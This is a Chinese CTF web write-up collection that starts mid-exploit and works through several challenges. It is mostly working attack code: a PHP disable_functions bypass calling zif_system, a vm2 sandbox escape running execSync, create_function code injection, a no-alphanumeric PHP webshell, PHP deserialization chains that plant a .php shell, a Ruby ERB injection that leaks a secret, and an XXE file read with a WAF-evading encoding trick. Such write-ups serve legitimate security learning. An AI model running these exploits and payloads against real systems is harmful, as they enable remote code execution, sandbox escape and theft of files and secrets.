    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
?>

把命令改为/readflag并且使用蚁剑把poc上传并访问,成功拿到flag

[HFCTF2020]JustEscape

首页提示了可能不是php哦

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-10 01.09.27.png)

看wp说是node.js本人完全没有接触过

测试使用Error().stack函数,发现确实是node.js,是VM2沙箱逃逸,现成poc直接使用

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError[`${`${`prototyp`}e`}`].get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

但是这题有关键字过滤,在这使用javascript的模版文字绕过,如

prototype变成`${`${`prototyp`}e`}`

最终payload

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

[BJDCTF2020]EzPHP

看源码,base32解码后访问

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

就是绕呗

P1

$_SERVER["QUERY_STRING"] 中是?后的内容,在直接读取时并不会进行url解码,但是在使用$_GET访问某一参数的时候会进行URL解码,在这里我们只需要对内容进行URL编码即可

P2

换行绕过

P3

$_REQUEST中,POST的优先级大于GET传入的参量,所以我们再在POST中重新传一次同名参量就行

P4

伪协议绕过,记得URL编码

P5

SHA1强比较绕过,类似md5,用数组即可

P6

新知识:create_function()

create_function()注入原理:

create_function()函数有两个参数$args$code,用于创建一个lambda样式的函数,首先可以用create_function()创建一个简单函数

<?php
$afunc = create_function('$a, $b','return ($a+$b);');
echo $afunc(1,2);
//输出3
?>

而本题的$code(‘’, $arg); //此处存在create_function()注入中可以通过控制$arg来进行代码注入
首先保证传入的$code为create_funtion,
其次是$arg参数,本题中过滤了cat、flag、scan等关键字,无法直接命令执行得到flag的值,在网上查阅后找到了合适的函数get_defined_vars()直接输出所有变量,构造payload如下

fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//

然鹅还是拿不到flag,提示flag在rea1fl4g.php中,访问发现拿不到,应该是以变量形式放进去了,那么尝试包含这个文件并将所有变量打印出来应该就行了,include函数被ban,尝试require加base64编码

fl%61g[%61rg]=}require(base64_dec%6fde(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//

给了个假的flag😅,读源码

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);
滤的太多了走取反绕过吧
fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
	$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
	$rea1_f1114g = "flag{4821ec92-8b00-4b72-b98c-4a7a296d9073}";
	unset($rea1_f1114g);
unset就离谱!!!!!!!!!!!!!!!!!!!!!!!!!!!

[GXYCTF2019]StrongestMind

import requests
import re
import time
url="http://3dd7fedb-f52b-4054-a53e-07ea193a2b99.node4.buuoj.cn:81/index.php"
cookie={"PHPSESSID":"f564584a331647033d332274c6bc3eb5"}
tes=requests.get(url=url,cookies=cookie).text
i=re.findall(r"\d+\s[\/|\+|\*|-]\s\d+",tes)
print(tes)
for j in range(1,2000):
    data={'answer':f"{eval(i[0])}"}
    tes=requests.post(url=url,cookies=cookie,data=data).text
    i = re.findall(r"\d+\s[\/|\+|\*|-]\s\d+", tes)
    if "flag{" in tes:
        print(tes)
    else:
        try:
            print(re.findall(r'第 \d+ æ¬',tes)[0])
        except:
            print()
    time.sleep(0.1)

没了

[MRCTF2020]Ezaudit

www.zip拿源码

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

爆破种子

s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
key = 'KVQP0LdJKRaV3n9D'
m = ''
for i in key:
    for j in range(len(s)):
        if i == s[j]:
            m += "{} {} 0 {} ".format(j,j,len(s)-1)
print(m)

爆破出种子为1775196155,服务器PHP版本为5.6.40,爆出private_key,admin加万能密码即可

[SUCTF 2018]GetShell

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

黑名单过滤测试后发现滤掉了所有数字和字母,用取反或异或绕过

$_=[];             //array
$__=$_.$_;         //arrayarray 
$__=($_==$_); 		 //true,结果为1
echo ~'茉'[$__];	//s
echo ~'内'[$__];	//y
echo ~'茉'[$__];	//s
echo ~'苏'[$__];	//t
echo ~'的'[$__];	//e
echo ~'咩'[$__];	//m
echo ~'课'[$__];	//P
echo ~'尬'[$__];	//O
echo ~'笔'[$__];	//S
echo ~'端'[$__];	//T
echo ~'瞎'[$__];	//a

在这里可以这么使用是因为UTF-8编码在编码汉字时实际上是使用了三个单字符拼接编码的,使用[]即可取出中间的一个字符,再对这个字符进行取反操作,就可能能打印出我们想要的字符

最终payload:

<?=$_=[];$__.=$_;$____=$_==$_;$___=~[$____];$___.=~[$____];$___.=~[$____];$___.=~[$____];$___.=~[$____];$___.=~[$____];$_____=_;$_____.=~[$____];$_____.=~[$____];$_____.=~[$____];$_____.=~[$____];$__________=$$_____;$___($__________[~[$____]]);

[GYCTF2020]Easyphp

反序列化,www.zip拿源码

//lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}
//update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

可以看到update.php中不论session的判断结果如何都会执行类中update方法,并且如果想获取flag就需要让$_SESSION['login']===1或者$_SESSION['token']==='admin'

class dbCtrl{    
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
}

发现其中可以对token进行修改,而后查看调用链

class Info{
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);//CtrlCase=new dbCtrl;
    }
}

Info中的__call方法能调用login方法

class User
{
    public function __toString()
    {
        $this->nickname->update($this->age);//nikename=new Info;
        return "0-0";
    }
}

User中的__toString方法调用__call方法

Class UpdateHelper{
    public function __destruct()
    {
        echo $this->sql;//sql=new User;
    }
}

链子:UpdateHepler::__destruct()->User::__toString->Info::__Call()->dbCtrl::login()

下一步就是构造payload了,反序列化所使用的方法是

public function update(){
    $Info=unserialize($this->getNewinfo());
}
public function getNewInfo(){
    $age=$_POST['age'];
    $nickname=$_POST['nickname'];
    return safe(serialize(new Info($age,$nickname)));
}
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

由于题中先对传入参量进行info序列化而后再通过safe函数进行反序列化,所以最终链子其实变成了Info::任意参量=UpdateHepler::__destruct()->User::__toString->Info::__Call()->dbCtrl::login(),并且这是一个字符逃逸的序列化

//exp.php
<?php
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
}
class User
{
    public $id="1";
    public $age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
    public $nickname;
}
Class UpdateHelper{
    public $sql;
}

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name="admin";
    public $password="1";
    public $mysqli;
    public $token;
    public $feng;
}
$a=new Info();
$a->CtrlCase=new UpdateHelper();
$a->CtrlCase->sql=new User();
$a->CtrlCase->sql->nickname=new Info();
$a->CtrlCase->sql->nickname->CtrlCase=new dbCtrl();
for($i=1;$i<=95;$i++){
    echo "'";
}
?>";s:8:"nickname";N;s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";N;}}}}}

传入age,任意密码登录admin即可

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-19 00.37.26.png)

[b01lers2020]Life on Mars

抓包随便点一个东西,发现传参,测试是sql注入

sqlmap和手动注入都可以,发现当前数据库下没有结果,在另外一个alien_code数据库中

最终payload

[SCTF2019]Flag Shop

本来以为是jwt直接破解或伪造,没想到是代码审计,我还不认识//////////,是ruby的模版注入,在robots.txt中能看到源代码位置

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

看到使用了REB包,是ruby/erb的模版注入

大概内容就是使用<%=标签可以执行ruby语句并将结果转换为字符串,而题中有 if params[:do] == "#{params[:name][0,7]} is working" then这句判定,在判定相等的时候会返回#{params[:name][0,7]} working successfully!,我们如果把name位置构造成我们想要的参量就可以拿到我们想要的内容

尝试传入$0(当前运行app名称)发现回显成功

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-16 23.23.05.png)

1 $!提出的最后一个异常对象。也可以在rescue子句中使用=>来访问异常对象。
2 **$ @*堆栈回溯募集的最后一个异常。堆栈回溯*信息可以通过Exception#backtrace方法检索最后一个异常。
3 **$ /*输入记录分隔符(默认为换行符)。获取,readline*等,将他们的输入记录分隔符作为可选参数。
4 $ 输出记录分隔符(默认为nil)。
5 $,要打印的参数和Array#join之间的输出分隔符(默认为nil)。您可以将数组明确指定给Array#join。
6 **$;**split的默认分隔符(默认为nil)。您可以为String#split指定明确的分隔符。
7 $。从当前输入文件读取的最后一行的编号。相当于ARGF.lineno。
8 **$ <**ARGF的同义词
9 $>$ defout的同义词。
10 $ 0正在执行的当前Ruby程序的名称。
11 **$$**正在执行的当前Ruby程序的进程pid。
12 $?最后一个进程的退出状态终止。
13 $:$ LOAD_PATH的同义词。
14 $ DEBUG如果指定了-d或–debug命令行选项,则为true。
15 $ defoutprintprintf的目标输出(默认为$ stdout)。
16 $ F指定-a时接收分割输出的变量。如果指定-a命令行选项以及-p或-n选项,则设置此变量。
17 $ FILENAME目前正在从ARGF读取的文件的名称。相当于ARGF.filename。
18 $ LOAD_PATH一个数组,用于加载和要求方法加载文件时要保存要搜索的目录。
19 $ SAFE安全级别0→不对外部提供(污染)数据执行检查。(默认)1→禁止使用污染数据的潜在危险操作。2→禁止对进程和文件进行潜在危险的操作。3→所有新创建的对象都被认为是污染的。4→禁止修改全局数据。
20 $ stdin标准输入(默认为STDIN)。
21 $ stdout标准输出(默认为STDOUT)。
22 $ stderr标准错误(默认为STDERR)。
23 $ VERBOSE如果指定了-v,-w或–verbose命令行选项,则为True。
24 $ - x解释器选项-x(x = 0,a,d,F,i,K,l,p,v)的值。这些选项列在下面
25 $ -0解释器选项-x的值和$ /的别名。
26 $ -a解释器选项-x的值,如果选项-a被设置,则为true。只读。
27 $ -d解释器选项-x的值和$ DEBUG的别名
28 $ -F解释器选项-x和别名$ ;.
29 $ -i解释器选项-x和in-place-edit模式的值保存扩展名,否则为nil。可以启用或禁用就地编辑模式。
30 $ -I解释器选项-x的值和$:的别名。
31 $ -l解释器选项-x的值,如果选项-lis设置为true。只读。
32 $ -p解释器选项-x的值,如果选项-pis设置为true。只读。
33 **$ _**局部变量,最后一个字符string通过gets或readline在当前作用域中读取。
34 $〜与最后一场比赛相关的局部变量MatchData。Regex#match方法返回最后一个匹配信息。
35 $ n($ 1,$ 2,$ 3 …)在最后一个模式匹配的第n组中匹配的字符string。相当于m [n],其中m是MatchData对象。
36 $&在最后一个模式匹配中匹配的字符string。相当于m [0],其中m是MatchData对象。
37 **$’*在最后一个模式匹配的匹配之前的字符string。相当于m.pre_match,其中m是MatchData*对象。
38 **$”**匹配后的字符string在最后一个模式匹配。相当于m.post_match,其中m是MatchData对象。
39 **$ +**与最后一个模式匹配的最后一个成功匹配的组对应的字符string。

这里我们使用第37个,因为在上面最后一次匹配的就是我们想要的密钥

payload:

SECRET=&name=%3C%25%3D%24'%25%3E&do=%3C%25%3D%24'%25%3E%20is%20working

拿到密钥,直接改钱拿flag

[GKCTF 2021]easycms

提示说后台5位弱口令,点登录注册都没啥反应,推测可能是后台界面,/admin.php,admin/12345登录成功

下一步在设计——主题中,对主题进行编辑后可以导出主题,存在任意文件读取漏洞,直接将theme参量换成base64(/flag)即可

还有另一种方式,在设计——自定义——首页——编辑中可以自行添加php代码,此时需要我们添加文件来验证身份,在设计——组件——素材库——上传素材中存在目录穿越,传入../../../../../system/tmp/xxxx即可,最后保存访问主页就行

[强网杯 2019]Upload

注册登录,上传测试,发现上传后文件都会被重命名并且后缀被更改为png,估计也没啥上传办法了,看一下cookie,发现是一串banse64编码后的序列化字符串,解码发现其中有头像img文件路径,尝试目录穿越读取文件,失败

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-17 11.35.50.png)

扫!得到源码,来看上传文件,代码审计,审计完发现在每次登录的身份认证中都含有login_check,其中可以进行反序列化,看到Profile类中

public function __get($name)
{
    return $this->except[$name];
  	//构造except['index']='img',$img='upload_img'来调用upload_img方法
}
public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

然后就是整个反序列化链了,

Register::__destruct->Profile::upload_img
通过此处
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
将我们构造好的图片马更名并保存,构造如下exp
//exp.php
<?php
namespace app\web\controller;
class Profile
{
    public $checker;
    public $filename_tmp="./upload/c47b21fcf8f0bc8b3920541abd8024fd/a13d380e153c641dd3cfd5b1273d984b.png";
    public $filename="./upload/c47b21fcf8f0bc8b3920541abd8024fd/1.php";
    public $upload_menu;
    public $ext="png";
    public $img="upload_img";
    public $except=["index"=>"img"];
}
class Register
{
    public $checker;
    public $registed=false;
}
$a=new Profile();
$b = new Register();
$b->checker = $a;
echo urlencode(base64_encode(serialize($b)));
?>

[CSAWQual 2019]Web_Unagi

就差告诉你XXE了,尝试上传一哈

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY kkk SYSTEM "file:///flag">
]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>&kkk;</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
<intro>&kkk;</intro>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name>Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&kkk;</intro>
</user>
</users>

被WAF拦截了,选择编码绕过

除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如)——文档的第一个字节带有可选的BOM(字节顺序标记)。
更多信息:https://www.w3.org/TR/xml/#sec-guessing
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

使用命令更改编码

cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml

记得吧内容放到intro中,不然会被裁切